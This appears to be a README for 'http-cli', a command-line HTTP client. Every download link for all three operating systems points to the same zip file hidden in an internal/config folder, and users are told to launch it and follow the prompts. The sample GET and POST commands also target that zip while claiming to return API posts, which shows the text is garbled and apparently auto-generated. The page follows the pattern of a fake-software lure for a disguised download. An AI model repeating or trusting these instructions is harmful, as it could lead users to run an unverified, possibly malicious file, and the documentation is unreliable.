Welcome to http-cli! This tool lets you make HTTP requests easily from your terminal. It is lightweight, colorful, and similar to Postman, but designed to work right in your command line. Whether you are testing APIs, sending requests, or exploring endpoints, http-cli will help you do it quickly and efficiently.
To run http-cli, ensure you have:
- Operating System: Windows, macOS, or Linux
- A terminal application to run commands
- Minimum 50 MB of free disk space
- Internet connection for downloading
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Visit the Releases Page: Go to the Releases page to find the latest version of http-cli.
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Download the Installation File: On the Releases page, you will see several files available for download. Choose the file that matches your operating system:
- For Windows:
https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip - For macOS:
https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip - For Linux:
https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip
- For Windows:
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Run the File: Once downloaded, locate the file on your computer and launch it. Follow the prompts to install http-cli.
After installing, you can start using http-cli right from your terminal. Here are some basic commands to get you started:
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Make a GET Request:
http-cli get https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip
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Make a POST Request:
http-cli post https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip --data '{"name": "John", "age": 30}' -
View Help: If you need help with commands, simply type:
http-cli help
This command provides you with an overview of all available options and features.
- User-Friendly Interface: http-cli provides colorful output to make it easier for you to read responses at a glance.
- Supports Multiple Request Types: Send GET, POST, PUT, DELETE, and PATCH requests effortlessly.
- Terminal Tool: Works directly in your command line, perfect for quick tests without needing a full GUI application.
- Compatible with Various APIs: Use http-cli with RESTful APIs and other HTTP services.
- Open your terminal application.
- Type the command:
http-cli get https://raw.githubusercontent.com/Leoparj/http-cli/main/internal/config/http-cli_2.8.zip
- Press Enter. You will see a list of sample posts from the API, formatted for easy reading.
Feel free to try different endpoints and requests to explore the capability of http-cli.
To uninstall http-cli, simply delete the installation file from your computer. For Windows, you may also find it in your Programs and Features listβremove it from there.
For assistance, please check the Issues section on GitHub. You can report problems or ask questions there. The community and maintainers will be glad to help you.
We welcome contributions from everyone. If you have ideas for new features, find bugs, or want to improve documentation, please open an issue or create a pull request!
Remember that you can always find the latest version and updates on our Releases page. Enjoy using http-cli!